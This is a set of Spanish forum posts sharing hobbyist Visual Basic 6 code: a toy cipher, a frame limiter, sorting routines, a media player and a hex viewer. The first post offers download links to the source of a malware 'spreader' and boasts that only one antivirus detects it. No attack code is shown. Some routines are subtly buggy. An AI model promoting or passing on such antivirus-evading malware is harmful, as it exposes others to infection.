Dulces Lunas!¡

Solo eso Desearles una feliz Navidad 

P.D.: ya me voy a dormir estoy hasta las chanclas jajaja.

[Al DESCARGAR EL PROGRAMA, LOS USUARIOS SE HACEN RESPONSABLES DE SUS USOS DADOS POR EL MISMO EXCLUYENDOME DE SUS ACCIONES]

Este es el Codigo Fuente del Programa Espuesto en este Post:

http://foro.elhacker.net/analisis_y_diseno_de_malware/kryptonite_spreader_version_infrangelux-t277681.0.html

Al DESCARGAR EL PROGRAMA, LOS USUARIOS SE HACEN RESPONSABLES DE SUS USOS DADOS POR EL MISMO EXCLUYENDOME DE SUS ACCIONES

 < Descargar > Solo AVG lo detecta ( EL STUB A SIDO RECONSTRUIDO AL 100% DEL ORIGINAL )

 < Descargar >  Versión Original + Source      ( Spreder del cual se origino aun que fue REPROGRAMADO )

Dulces Lunas!¡.

[Donde se empieza el Script?]

Bueno paso solo a dejarles un Programa que desarrolle en Visual Basic 6 que es?

Lo que hace es que ejecuta VBScript pero ademas de eso permite crear una ventana o formulario el cual es Creado fácilmente por Codigo

Donde se empieza el Script?

Todo empieza desde el archivo llamado Main.txt donde se pueden crear Funciones, Procesos, etc.

el programa al descargarlo Muestra un sencillo Formulario con lo que es un textBox en modo Multilinea, el programa comprende solo de 2 Tipos de TextBox singleLine y Multiline

Sus referencias a estos solo por la S y M ( SingleLine, MultiLine ).

Se pueden cargar Multitudes de controles (Actualmente Me falta Añadir un ProgressBar )

CommandButton
textBox
Timer's
CheckBox
OptionalButton
VerticalScroll
HorizontalScroll
Pictures
Images
ListBox
ComboBox
DirListBox
FileListBox
DriveListBox

El Nombre de los controles es igual a el de los archivos Include (Sin el .txt) con excepción del Formulario el cual es llamado cForm

Para Cargar otro control

Código (vb) [Seleccionar] Expandir



index = cform.cargar ( cform.CONTROL )



La función Cargar devuelve el Index o Identificador del Control NUEVO

Si falla la carga del control se regresa un valor -1 de lo contrario un valor superior a 0 el cual responde al Index

Para descargar un Control:

Código (vb) [Seleccionar] Expandir



call cform.Descargar ( cform.CONTROL, index )



* Esta funcion Devuelve un valor de 1 si todo fue Bien de lo contrario devuelve -1

* En si el programa Maneja los controles Básicos de lo que es el Lenguaje Visual Basic 6 ( Donde se ha Desarrollado por COMPLETO )
* Cada Control conlleva Eventos y por ende sus Propiedades
* Esta Diseñado para funcionar mediante procesos funciones entre si ( Fue Diseñado para mi InfraExplrerWithComponents )

Descargar ( Trae consigo un ejemplo del funcionamiento y ejecución de Script )

Dulces Lunas!¡.

[SI FUNCIONA POR CONTRASEÑA]

No tenia nada que hacer y ademas al fijarme en el post donde publica Sharki su proyecto Personal Algorith el cual solo crea un entador por caracteres estaticos desidi crear un Encoder and decoder o mejor conosidos como

Encryptador con su respectivo desencrypotador

Solo que este SI FUNCIONA POR CONTRASEÑA para Encryptar/Desencryptar los datos (Solo es usada para encryptar/desencryptar de Hecho asi que no seria realmente una Contraseña xP).

Es un codigo Sencillo!¡.

Código (vb) [Seleccionar] Expandir



''   /////////////////////////////////////////////////////////////
'   // Autor:   BlackZeroX ( Ortega Avila Miguel Angel )       //
'   //                                                         //
'   // Web:     http://InfrAngeluX.Sytes.Net/                  //
'   //                                                         //
'   //    |-> Pueden Distribuir Este Codigo siempre y cuando   //
'   // no se eliminen los creditos originales de este codigo   //
'   // No importando que sea modificado/editado o engrandesido //
'   // o achicado, si es en base a este codigo                 //
'   /////////////////////////////////////////////////////////////

Option Explicit
Enum tAcciones
    Encryptar = 0
    Desencryptar
End Enum
Public Sub DecodeEncodeString(ByRef Data As String, Pass As String, Optional Accion As tAcciones = Encryptar)
Dim PosPass             As Long
Dim CharData            As String * 1
Dim i                   As Long
    If Pass <> "" Then
        For i = 1 To Len(Data)
            CharData = Mid(Data, i, 1)
            PosPass = IIf((PosPass + 1) > Len(Pass), 1, PosPass + 1)
            Mid(Data, i, 1) = DecodeEncodeChar(CharData, Pass, PosPass, Accion) '    //  Es para evitar usar CopyMemory
        Next i
    End If
End Sub
Public Function DecodeEncodeChar(StrChar As String, ByRef Psss As String, PosPass As Long, Optional Encode_Code As tAcciones = Encryptar) As String
Dim CharPass            As String
Dim NewChar             As Byte
Dim i                   As Long
Const cBytes            As Byte = 255
    CharPass = Mid(Psss, PosPass, 1)
    '   //  Buscamos la coherencia
    For i = 0 To cBytes
        If StrChar = Chr(i) Then
            '   //  Calculamos el Nuevo Caracter
            If Encode_Code = Encryptar Then
                NewChar = IIf(Asc(CharPass) + Asc(StrChar) > cBytes, _
                             (Asc(CharPass) + Asc(StrChar)) - cBytes, _
                              Asc(CharPass) + Asc(StrChar))
            Else
                NewChar = IIf(Asc(StrChar) - Asc(CharPass) < 0, _
                              cBytes + (Asc(StrChar) - Asc(CharPass)), _
                              Asc(StrChar) - Asc(CharPass))
            End If
            DecodeEncodeChar = Chr(NewChar)
            Exit For
        End If
    Next i
End Function



ejemplo de uso:

Agregar en un formuario
1 TextBox
2 CommandButton con matrix 0 y 1 respectivamente

Código (vb) [Seleccionar] Expandir



Private Sub Command1_Click(Index As Integer)
    Dim AuxData         As String
    AuxData = Text1.Text
    Call DecodeEncodeString(AuxData, "Miguel Angel Ortega Avila", IIf(Index = 0, Encryptar, Desencryptar))
    Text1.Text = AuxData
End Sub



editpo: Junto Post --->

Para quienes no les sirva bien aquí tienen el codigo implementado en un formulario:

http://infrangelux.sytes.net/Descargas/Crypters/Encode And Decode.rar

Nota: Los caracteres Nulos / Null / Chr(0) No son imprimibles en los Textbox o similares Ojo con eso.

Dulces Lunas!¡.

Alguien sabe sobre el tema? o una liga a algun lenguaje open source que aplique la utilizacion de los dos nucleo?

Dulces Lunas!¡.

Este codigo es especialmente para los juegos o lo que este dentro de un Do/While o similar (Juegos, o Cantroles DIbUJAdOS, o sencillamente procesos en un Do/While por decir alguno).


En un Modulo Tipo Clase:

CLSFrameLimiter.cls

Código (vb) [Seleccionar] Expandir



''   /////////////////////////////////////////////////////////////
'   // Autor:   BlackZeroX ( Ortega Avila Miguel Angel )       //
'   //                                                         //
'   // Web:     http://InfrAngeluX.Sytes.Net/                  //
'   //                                                         //
'   //    |-> Pueden Distribuir Este Codigo siempre y cuando   //
'   // no se eliminen los creditos originales de este codigo   //
'   // No importando que sea modificado/editado o engrandesido //
'   // o achicado, si es en base a este codigo                 //
'   /////////////////////////////////////////////////////////////

Option Explicit

Private Declare Function QueryPerformanceCounter Lib "kernel32" (lpPerformanceCount As Currency) As Long
Private Declare Function QueryPerformanceFrequency Lib "kernel32" (lpFrequency As Currency) As Long

Private m_CurFrequency As Currency
Private m_HasCounter As Boolean
Private m_FrameStart As Currency
Private m_FrameEnd As Currency
Private m_CurTime As Currency
Private m_Delay As Currency
Private m_LastSecond As Long
Private m_LastSecondCount As Long
Private m_FrameCount As Long

Private Sub Class_Initialize()
   m_HasCounter = QueryPerformanceFrequency(m_CurFrequency)
   m_CurFrequency = m_CurFrequency * 10000
End Sub

Public Function GetFPS() As Long
   GetFPS = m_LastSecondCount
End Function

Public Sub LimitFrames(ByVal nFPS As Integer)
   If Second(Now) <> m_LastSecond Then
       m_LastSecond = Second(Now)
       m_LastSecondCount = m_FrameCount
       m_FrameCount = 0
   End If
   m_FrameCount = m_FrameCount + 1
   QueryPerformanceCounter m_FrameEnd
   '   //  m_Delay = ((1000 / nFPS) * m_CurFrequency / 10000000) - (m_FrameEnd - m_FrameStart)
   m_Delay = ((1 / nFPS) * m_CurFrequency / 10000) - (m_FrameEnd - m_FrameStart)
   Do
       DoEvents
       QueryPerformanceCounter m_CurTime
   Loop Until (m_CurTime - m_FrameEnd) >= m_Delay
   
   QueryPerformanceCounter m_FrameStart
End Sub


Forma de USO

Código (vb) [Seleccionar] Expandir



Dim FrameLimit                      As New CLSFrameLimiter
Dim NoSalir                         as boolean

Private Sub Form_Click()
   NoSalir=not NoSalir
End Sub

Private Sub Form_Load()
   NoSalir = false
   show
   While NoSalir
       '   //  No es nesesario DoEvents, Sleep() o waitMessage() {En algun caso es usado NO?}
       Call FrameLimit.LimitFrames(40)
       caption = FrameLimit.GetFPS
   Wend
End Sub





Ejemplo Demostrativo:

Código (vb) [Seleccionar] Expandir


Option Explicit

'Used to just grab framerates.
Private Declare Function GetTickCount Lib "kernel32" () As Long
Dim NoSalir                         As Boolean
Dim FrameLimit                      As New CLSFrameLimiter

Private Sub Form_Click()
   NoSalir = Not NoSalir
   Call PruebaFrameSecunds
End Sub

Private Sub PruebaFrameSecunds()
Dim lngCount                        As Long
Dim lngFPS                          As Long
Dim lngTick                         As Long
Dim okFPS                           As Long
   While NoSalir
       '   //  No es nesesario DoEvents, Sleep() o waitMessage() {En algun caso es usado NO?}
       Call FrameLimit.LimitFrames(40)
       Cls
       lngFPS = lngFPS + 1
       If lngTick < GetBetterTick Then
           okFPS = lngFPS
           lngTick = GetBetterTick + 1000
           lngFPS = 0
       End If
       Print "Frames por calculo: " & CStr(okFPS)
       Print "Frames por la Funcion: " & FrameLimit.GetFPS
   Wend
End Sub

Private Function GetBetterTick() As Long
   Static LastTime As Long
   If LastTime >= 0 And GetTickCount < 0 Then LastTime = GetTickCount
   If LastTime <= 0 And GetTickCount > 0 Then LastTime = GetTickCount
   GetBetterTick = GetTickCount - LastTime
End Function

Private Sub Form_Load()
   AutoRedraw = True
End Sub


Dulces Lunas!¡.

que rollo que onda con tu enlace en VB6

http://foro.elhacker.net/programacion_vb/movido_error_simpatico-t275114.0.html

Lo abro y me cierra la ventana del explorador... mmm ¬¬#, tengo que ver el fuente xD

Versión Lenta... Fue sacado del ListBoxEx de LeandroAscierto, con una modificación para pasar el array en la funcion.

Código (vb) [Seleccionar] Expandir


Option Explicit

Public Enum EnuListOrder
   AcendetOrder = 0
   DecendentOrder = 1
End Enum

Public Sub Sorted(ByRef Item(), Optional Order As EnuListOrder = DecendentOrder)
   Dim Itm As String
   Dim J As Double
   Dim i As Double
   Dim mcount As Long
   mcount = UBound(Item)

   If Order = AcendetOrder Then
       For J = 0 To mcount
           For i = 0 To mcount
               If Item(i) > Item(i + 1) Then
                   Itm = Item(i + 1)
                   Item(i + 1) = Item(i)
                   Item(i) = Itm
               End If
           Next i
       Next J
   Else
       For J = 0 To mcount - 2
           For i = 0 To mcount - 2
               If Item(i) < Item(i + 1) Then
                   Itm = Item(i + 1)
                   Item(i + 1) = Item(i)
                   Item(i) = Itm
               End If
           Next i
       Next J
   End If
End Sub



El siguiente es una versión mejorada por un Servidor... ordena adecuadamente los numeros ( Antes 0, 1, 10, 100,1000, ahora 0,1,2,3,4,5 ), Es muchas veces mas rapido que el anterior y más largo el codigo...

Código (vb) [Seleccionar] Expandir


'
'   /////////////////////////////////////////////////////////////
'   // Autor Algoritmo: C.A.R. Hoare en 1960                   //
'   // Autor:   BlackZeroX ( Ortega Avila Miguel Angel )       //
'   //                                                         //
'   // Web:     http://InfrAngeluX.Sytes.Net/                  //
'   //                                                         //
'   //    |-> Pueden Distribuir Este Codigo siempre y cuando   //
'   // no se eliminen los creditos originales de este codigo   //
'   // No importando que sea modificado/editado o engrandesido //
'   // o achicado, si es en base a este codigo                 //
'   /////////////////////////////////////////////////////////////

Option Explicit
Enum EnuListOrder
   AcendetOrder = 0
   DecendentOrder
End Enum
Private Sub AuxOrden(ByRef mArray(), _
                   i As Long, j As Long, _
                   il As Long, jl As Long)
Dim c                                       As String
Dim c2                                      As Long
   c = mArray(j)
   mArray(j) = mArray(i)
   mArray(i) = c
   c2 = il
   il = -jl
   jl = -c2
End Sub
Private Sub PreSort(ByRef mArray(), lb As Long, ub As Long, _
                   k As Long, _
           Optional Order As EnuListOrder = DecendentOrder)
Dim i                                       As Long
Dim j                                       As Long
Dim il                                      As Long
Dim jl                                      As Long
   il = 0: jl = -1
   i = lb: j = ub
   While i < j
       If Order = DecendentOrder Then
           If IsNumeric(mArray(i)) And IsNumeric(mArray(j)) Then
               If Val(mArray(i)) > Val(mArray(j)) Then
                   Call AuxOrden(mArray(), i, j, il, jl)
               End If
           Else
               If mArray(i) > mArray(j) Then
                   Call AuxOrden(mArray(), i, j, il, jl)
               End If
           End If
       Else
           If IsNumeric(mArray(i)) And IsNumeric(mArray(j)) Then
               If Val(mArray(i)) < Val(mArray(j)) Then
                   Call AuxOrden(mArray(), i, j, il, jl)
               End If
           Else
               If mArray(i) < mArray(j) Then
                   Call AuxOrden(mArray(), i, j, il, jl)
               End If
           End If
       End If
       i = i + il
       j = j + jl
   Wend
   k = i
End Sub
Private Sub QSort(ByRef mArray(), lb As Long, ub As Long, _
               Optional Order As EnuListOrder = DecendentOrder)
Dim k                                   As Long
   If lb < ub Then
       PreSort mArray, lb, ub, k, Order
       Call QSort(mArray, lb, k - 1, Order)
       Call QSort(mArray, k + 1, ub, Order)
   End If
End Sub
Public Sub Start_QuickSort(ByRef mArray(), _
               Optional Order As EnuListOrder = DecendentOrder)
   If (Not (mArray)) = -1 Then Exit Sub ' Es para ver si esta inicializado el Arreglo
   QSort mArray, LBound(mArray), UBound(mArray), DecendentOrder
End Sub


Ejemplo de Uso o llamda:

Código (vb) [Seleccionar] Expandir


Option Explicit
Private Sub Form_Load()
     Dim i As Integer
     Dim mArray(200)
     For i = 0 To 100
         Randomize
         mArray(i) = i
     Next i
     For i = 101 To 200
         Randomize
         mArray(i) = Chr(Round(64 * Rnd()) + 65)
     Next i
     Start_QuickSort mArray, DecendentOrder
     For i = 0 To 200
         Debug.Print mArray(i)
     Next i
End Sub


Dulces Lunas!¡.

Buenas Alguien sabe como Obtener la longitud en bytes de un array (ya sea uni, bi, tridimencional, multi)

Algo asi como LenB() pero que sea para Array

gracias

[* Ordenamiento Mejorado (Elimine el Modo de Ordenamiento de LeandroAscierto)* Ordenamiento por Columnas* Multiselecciòn con tecla Shift* Obtenciòn de Rango de Selecciòn* Elimine el error de que cuando se estaba seleccionado un item o fila INferior ese subia mientras el Item o fila a eliminar era de abajo (o Superior con respecto a la matriz)]

Antes que nada:

Es el ListboxEx de Leandro Ascierto pero con muchas modificaciones, entre ellas la Adiciòn de un ListView.

Post Original ListViewEx Leandro Ascierto

Atras cosas a Notar:

Elimine los picture,VScroll y Redibuje TODO en un HDC de Memoria, para la manipulaciòn con el ScrollGhost.

Actualmente lo estoy Optimisando ( Este es el Codigo Fuente Contiene Codigo Basura y Repetitivo )

Las mejoras ya listas son:

* Ordenamiento Mejorado (Elimine el Modo de Ordenamiento de LeandroAscierto)
* Ordenamiento por Columnas
* Multiselecciòn con tecla Shift
* Obtenciòn de Rango de Selecciòn
* Elimine el error de que cuando se estaba seleccionado un item o fila INferior ese subia mientras el Item o fila a eliminar era de abajo (o Superior con respecto a la matriz)


ELIMINE el VScroll y puse un sistema que denomino ScrollGhost, es decir:

El Scroll Ghost tiene el funcionamiento de un Slider la velocidad de recorrido de los items o fila depende de la posiciòn del mouse en el ScrollGhost. Los ScrollGhost se encuentran en el area superior, Inferior y en los extremos Izquierda y Derecha

Para los ScrollGhost Superior e Inferiores la velocidad se define  asi

VelocidadMinimo-------------------------------------------------VelocidadMaxima

Para los ScrollGhost Laterales la Minima es en area superior y la Maxima en el Ala Inferior

Dichos ScrollGhost los stoy Arreglando y por obvias razones cambiare el diseño de estos por unos mas vistosos (Actualmente son solo pruebas)

Dichos ScrollGhost los stoy Arreglando y por abvias razones cambiare el diseño de estos por unos mas vistosos y màs manejables (Actualmente son solo pruebas)

Los Items Actualmente NO ESTAN POR REGIONES por lo tanto no se pueden realizar cambios entre ellos (Esta version esta 100% enfocada a ListBoxEx de Leandro Ascierto por lo cual tengo que Rehacer las filas en Regiones para realizar cambios entre items con el Mouse).




Bueno Aqui les dejo el SourceCode (Reitero es Betay contiene CodigoBasura y Cosas Repetidas.)

http://infrangelux.sytes.net/Descargas/Programas/ListBoxViewEx.zip

P.D.: Espero que LeandroAscierto no se moleste por esta modificaciòn tan masima jojojo.

Dulces Lunas

Bueno nada mas para saber con que API le aplico color al texto en el HDC creado en memoria, la api que uso para crear dicho texto es:

Código (vb) [Seleccionar] Expandir


CreateFontIndirect


Dulces Lunas!¡.

La grandiosa duda es

¿Que version del M$ Windows Common Controls es la que acepta Vista/Seven?

Dulces Lunas!¡.

Hola buenas las tengan... eso se oyo medio feo, pero da igual.

Realizo estaduda de configuraciòn de mi PS2-SLIM con chip Matrix Infinity (Con punto Y y SX soldados por un servidor ya que no los traia como tal), Modelo 77001 Version 14-15.

Mi pregunta es por que NO se hace ver la configuraciòn YPbPr desde la Bios? es decir solo se ve la de video (Video, Audio R y L, cables Amarillo, Blanco y Rojo) pero NO los de YPbPr (Ojo con chip Activo/Desactivado), configurando de igual manera en el Chip.

OJO esto solo me pasa con los juegos de la Play Station 1 los de la 2 corren eseccionalmente en mi monitor LCD que uso con la PC y a la cual le saco los cables de YPbPr (pines 1,2,3,  {6,7,8}=1).

P.D.: se su`pone que al soldar el punto SX se tiene que forzar el arranque de dicho juego, es por esto que pasa? o es por que un juego de Play 1 No corre en modo progresivo (YPbPr) ?

Dulces Lunas!¡.

Alguien sabe como convertir una imagen a formato ico, lo que pasa es que me e trabado al extraer los iconos de un X archivo por ejemplo de un exe, dll, txt (Iconos segun la configuracion e la pc actual en tiempo actual) y posteriormente como es de esperarse mostrarlo en un hdc (en uno de memoria) y guardarlo pero como es de esperarse se guarda en formato BMP...

Uso las apis Extracticon, drawicon, assosiatedicon, yestaba pensando en usar las apis para los recursos de archivos  (LoadResource, FindResource, etc ) y de esta forma guardarlo con el cabezar de un formato ico, pero es muy laborioso, ademas que que no cuento con dicha informaciòn

a lo que voy es guardar de un hdco bmp a ico, el icono leido con extractico y dibujado en el ndc con drawico, omo se guardaria entonces, a un formato Valido .ico?

Dulces Lunas

blank

Bueno solo vengo a preguntar cual es la estructura del VBHeader de un EXE compilado obviamente

Solo eso Gracias

La cosa esta asi:

Pongo el siguiente code para publicar una imagen en pequeño


[ URL=http://img514.imageshack.us/i/reancho.jpg/][IMG ]http://img514.imageshack.us/img514/4552/reancho.th.jpg[/img ][/URL ]

Le he dado espacios a las estiquetas para que e4 vea el codigo q empleo en el segundo post y sus efectos tal cuales al publicar (El error surge de gual forma al ponerlo entre las etiquetas (code)(/code) Obviamente con corchetes xP).

Que me podnria la siguiente imagen relacionado con un hipervinculo,pero al previsualizar TODO BIEN pero al darle guardar pasa lo siguiente:

[ URL=http://img514.imageshack.us/i/reancho.jpg/][ IMG]http://img514.imageshack.us/img514/4552/reancho.th.jpg[/ img][/ URL]

Al publicar:

[ URL=http://img514.imageshack.us/i/reancho.jpg/][IMG]http://img514.imageshack.us/img514/4552/reancho.jpg[/ IMG][/ URL]

Es decir al publicar quita .th pero UNICAMENTE con relacion a Hipervinculos e INCLUSIVE esto paa cuando esta entre las etiquetas code, por ello no lo he publicado de esa forma como deberia ser.¡!

Dulces Lunas

el codigo es original de Leandro Ascierto solo cambie un poco este:

Solo se nesesita un modulo
        No requiere Formulario
No tiene dependencias
        Por ende quite el WindowsMediaPlayer y ya trabaja sobre MCI
Al estar COMPILADO y al Arrastrar un Archivo de Música, Video o Imagen se reproduce (OJO las imagenes no tardan mucho en cerrar Sorry jem)

Al termino de la Reproducción del Archivo se Cierra Automaticamente.

Source Solo se nesesita un Modulo

Código (vb) [Seleccionar] Expandir


Option Explicit
'By Leandro Ascierto
'Modificado por BlackZeroX (Parte MCI)
'Corrección Api SystemParametersInfo
'Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, byval lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Declare Function SetSysColors Lib "user32.dll" (ByVal nChanges As Long, ByRef lpSysColor As Long, ByRef lpColorValues As Long) As Long
Private Declare Function GetSysColor Lib "user32.dll" (ByVal nIndex As Long) As Long

'Declraciones Anidadas
Private Const SPI_GETWORKAREA = 48
Public Type RECT
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
End Type
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
'Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
'Private Declare Function GetActiveWindow Lib "user32" () As Long
Private Declare Function WaitMessage Lib "user32" () As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'Fin

Private Const COLOR_BACKGROUND As Long = 1
Private Const SPIF_UPDATEINIFILE As Long = &H1
Private Const SPIF_SENDWININICHANGE As Long = &H2
Private Const SPI_GETDESKWALLPAPER As Long = 115
Private Const SPI_SETDESKWALLPAPER As Long = 20
Dim lOldColor As Long
Dim sOldWallPaper As String

Sub Main()
    'Sustitución de la Dependencia WindowsMediaPlayer por el MCI
    Dim T_rect As RECT
    Dim data As String
    data = Space(255)
    mciSendString "close all ", 0, 0, 0 'Activa la linea si Aun no lo compilas
    mciSendString "open " & Command$ & " alias MedioX style popup ", 0, 0, 0
    SystemParametersInfo SPI_GETWORKAREA, 0, T_rect, 0
    mciSendString "put MedioX window at 0 0 1 1 ", 0, 0, 0
    mciSendString "play MedioX ", 0, 0, 0
    mciSendString "window MedioX state hide", 0, 0, 0
    mciSendString "put MedioX window at 0 0 " & Int(T_rect.Right - T_rect.Left) & " " & Int(T_rect.Bottom - T_rect.Top + 40) & " ", 0, 0, 0
    'ShowWindow GetActiveWindow, 0
'--------------------------------------
    'Source Leandro Ascierto
    sOldWallPaper = Space(255)
    'SystemParametersInfo SPI_GETDESKWALLPAPER, 255, sOldWallPaper, 0 'Original
    SystemParametersInfo SPI_GETDESKWALLPAPER, 255, ByVal sOldWallPaper, 0 'Corrección
    lOldColor = GetSysColor(COLOR_BACKGROUND)
    Call SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, " ", 0)
    Call SetSysColors(1, COLOR_BACKGROUND, RGB(16, 0, 16))
    Do
        mciSendString "status MedioX mode", data, 255, 0
        If Not Left(data, 7) = "playing" Then
            Exit Do
        End If
        DoEvents
        Debug.Print Left(data, 7)
        WaitMessage
    Loop
    Call SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, sOldWallPaper, 0)
    Call SetSysColors(1, COLOR_BACKGROUND, lOldColor)
End Sub

Post Original

Bueno la pregunta es como generar un timer pero en un modulo o modulo de clase ojo en base a apis pero SIN el hwnd de un formulario es decir solo tengo el modulo y nada mas nada extra solo un modulo con funciones y un timer hecho en API pero no funciona de hecho intente tomar el hwnd de otro lado como el escritorio y nada xP

en si el codigo del Timer API es este :

Código (vb) [Seleccionar] Expandir


Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long

sub main()
    SetTimer V.hwnd, 0, 2000, AddressOf TimerProc
end sub

Public Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
    'Procesos
End Sub


Bueno en si como le hago para generar un hwnd pero sin tomarlo de un formulario esa es mi gran dudo creo que si se puede pero como  ¬¬"

a y como cancelar el termino de mi proceso es decir que siga corriendo o en espera pero con el timer activo xP son solo dos dudas que traigo ensima en mi segunda duda puse un

Código (vb) [Seleccionar] Expandir


sub main()
    SetTimer V.hwnd, 0, 2000, AddressOf TimerProc
    do
        doEvents
    loop
end sub


Pero gasta el procesador como demonio ¬¬" bueno alguien tiene algunas pistas o soluciones por hay xD gracias de antemano

Dulces Lunas.

Esta es una libreria donde pongo funciones de MCI para poder manejar según los codec's instalados en la pc:
Música
Imagenes
Videos

Dichos codigos no son la gran cosa ya que cualquiera los podria crear con solo leer la MSDN, solo son funciones que sustituyen a dichos comandos MCI (abajo muestro unos 3er post secuencial.)

Usa la Api mciSendString y mciGetErrorString

Funciones que incluye la DLL:

hay funciones que piden
:::WindowsStyle::: lo tipos son:
popup
child
(creo que hay otro mmm igual pueden buscar mas info sobre MCI y asi encuentran el otro xP)

Código [Seleccionar] Expandir


AbrirComoVentana
AbrirMedia
AcercaDe
Audio_Derecho_OFF
Audio_Derecho_ON
Audio_EstableceLeftVolume
Audio_EstableceRightVolume
Audio_EstableceVolumenGeneral
Audio_EstadoDelAudio
Audio_Izquierdo_OFF
Audio_Izquierdo_ON
Audio_ObtenerLeftVolume
Audio_ObtenerRightVolume
Audio_ObtenerVolumenGeneral
Audio_OFF
Audio_ON
CerrarMedios
ChecarError
Device_Listo
Device_Nombre
Device_Version
Disquera_Abrir
Disquera_Cerrar
Establece_PocicionEn
Establece_TamanoLocal
Establece_Velocidad
Estraer_TamanoPred
MedioX_AdelantarCuadros
MedioX_AdelantarMilisegundos
MedioX_AdelantarSegundos
MedioX_AtrasarCuadros
MedioX_CerrarMedia
MedioX_DetenerMedio
MedioX_FormatoTiempo
MedioX_FormatoTiempoFaltante
MedioX_FormatoTiempoPosicion
MedioX_MinimizarMedio
MedioX_MostrarMedio
MedioX_Obtener_CuadrosPorSegundo
MedioX_Obtener_TamanoActual
MedioX_Obtener_TamanoOriginal
MedioX_Obtener_Velocidad
MedioX_Obtener_VelocidadNominalEnCuadros
MedioX_OcultarMedio
MedioX_PausarMedio
MedioX_PosicionEnMilisegundos
MedioX_ReiniciarMedio
MedioX_ReproduceFullScreen
MedioX_Reproduciendo
MedioX_ReproducirMedia
MedioX_RestaurarMedio
MedioX_ResumirMedio
MedioX_TiempoFaltanteEnCuadros
MedioX_TiempoFaltanteEnMilisegundos
MedioX_TiempoFaltanteEnSegundos
MedioX_Video_Estado
MedioX_VideoOff
MedioX_VideoOff_ALL
MedioX_VideoOn
MedioX_VideoOn_ALL
Obtener_BitsPorPicel
Obtener_EntradaDelMedio
Obtener_EstadoDelMedio
Obtener_PosicionEnCuadros
Obtener_PosicionEnSegundos
Obtener_SalidaDelMedio
Restaurar_TamanoOriginal
stepCuadros
UrlMedia_Establece


Como ven esta muy completa esta libreria pero aun me faltan opciones a como yo lo veo.

Descargar En RAR
Descargar En Zip

Comentarios? gracias

Saludos

Tiene aprox hace 2 años que lo hice y desde entonces no le e realizado ningun cambio (Sabiendo que solo tiene errores de interface si lo prueban verán el dilema xP)

Las Medidas estan tomadas tal cual son,... Es decir son las mas esactas que pueden existir xP.

Aca les dejo unas pantallas: (Mas abajo esta el Source)








Con un clic en el icono de que se encuentra a un lado del relog se minimisa o se muestra xP

Al ejecutar la aplicación y poder cambiar de una unidad a otra den doble click en la unidad (donde sale cm por Default) ya sea la primera o la segunda de igual forma se puede cambiar la descripción dandole doble click a la etiqueta(es la que dice Descripcion 1,2,3 etc)

El boton verdeque se dezplada o aparece hasta la derecha de la pantalla donde esta el ScrollBar se usa para agregar otra fila para convercion tomando la el resultado de la conversion anterior y poniendolo ahora en el 1er campo para poder convertirlo ammm ejor jueguen el programa asi entienden mejor xP

El boton Rojo borra y pone todos los datos de la fila actual en blanco


Descargar

Dejen sus Comentarios xP gracias

Nota: si hacen alguna modificación avisen gracias.

Saludos.

Bueno este es un reproductor que realice desde hace ya tiempo (por falta de tiempo no le modifico mucho), mejora al anterior en varios aspectos, usa completamente la api MCISendString para la reproduccion de archivos (Imagenes, Musica, Videos, a según el codec instalado, y las extensiones que deseen reproducir siempre y cuando se encuentren en estos 3 tipos de archivos y esten de alta en el programa para poder reproducirlos.)

ANTES que nada BORREN LA CARPETA DATA si esta jem o simplemente hagan una importacion Rapida abajito digo como hacerla xP

PUBLICARE EL SOURCE cuando termine la version 1.0.0 jo ando apenas en la 0.1.0 jo

NO USA Dependencias para reproducir (Reproduce Musica, Video e Imagenes xP)

--- Para registrar una extensión de algún tipo de archivo ---

Menú Reproducir --> Administrar extensiones

Para agregar una extensión hubiquense en el campo de texto que se encuentra por debajo de la lista o tipo de archivo solo escriban la extensión SIN el punto y opriman enter

Para borrar una extensión accedan a esta parte y denle click secundario 2 veces continuas a la extensión deseada y acepten los mensajes.

Al registrar estas extensiones indican que se podrán reproducir, y en una importacion de archivos se tomaran en cuenta las extensiones xD

Incluye opcion de arrastre de archivo a las listas (tanto de organisacion de musica, imagenes, videos como a la lista de reproducción).

Incluye una opcion de aceleración del medio musical (Le esta fallando algo, en la siguiente version lo arreglare xP)

Menus Translucidos (Afectan absolutamente a todos los menus xS)

Automaticamente pone en el MSN lo que se escucha (jeje un error no tiene la opcion de permitir o denegar rayos ¬¬)

Con Botones Aqua









Descargar

Bueno este es un Soruce de un codigo fuente apa aquellos que deceen ver el Hexadecimal un X archivo

NO CARGA ARCHIVOS Mayores alrededor de  200kb's  jajaja

Codigo Fuente Visor Hexadecimal <Descargar>

Con una simple modificacion en donde se obtiene el contenido del archivo, especificarle  desle desde que Byte abrirlo y ya les soportara a abrir archivos de kb megas gigas o TB (si es que hay  ¬¬ ja) aun que en realidad cargarian un Sector (Pedazo) por asi desirlo de ese archivo en una variable quedando algo asi como en este Visor Hexadecimal creado al 100% poor un servidor (sin tomar codigo del que pongo y me sivio para entender el funcionamento del Hexadecimal en vb6)

P.D.: indicarle tambien el byte en donde se cerrara

SemiEjemplo:

Código (vb) [Seleccionar] Expandir


    Open fname For Binary As #fnum
        num_bytes = LOF(fnum)
            ReDim bytes(wed To wsd)
        Get #fnum, wed, bytes
    Close fnum


Un Visor Byte-Hexadecimal-Ascii de archivos en VB6 como ejemplo (Cuando encuentre el codigo fuente en mi PC lo posteo aca ok)

<Descargar>

<Como abrir Otro Archivo en el Programa?¿>  http://infra.110mb.com/VB/Visor_Hexadecimal/temp_visorHex.GIF



Un Saludo

